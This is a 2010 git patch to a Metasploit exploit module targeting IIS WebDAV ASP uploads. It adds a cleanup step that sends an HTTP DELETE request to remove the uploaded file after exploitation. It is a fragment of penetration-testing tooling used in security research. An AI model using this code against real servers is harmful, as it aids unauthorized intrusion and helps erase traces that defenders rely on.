From c6c1cda153dfa029ef2a482342a3dec025f0904e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 8 Feb 2010 19:12:59 +0000 Subject: [PATCH] Try to delete the file (doesn't always work) git-svn-id: file:///home/svn/framework3/trunk@8413 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/iis/iis_webdav_upload_asp.rb | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 64c8cb8b3a..b753c42038 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -126,6 +126,27 @@ class Metasploit3 < Msf::Exploit::Remote return end + + + # + # DELETE + # + print_status("Deleting #{path}, this doesn't always work...") + + res = send_request_cgi({ + 'uri' => path, + 'method' => 'DELETE' + }, 20) + if (! res) + print_status("Deletion failed on #{path} [No Response]") + return + end + + if (res.code < 200 or res.code >= 300) + print_status("Deletion failed on #{path} [#{res.code} #{res.message}]") + return + end + handler end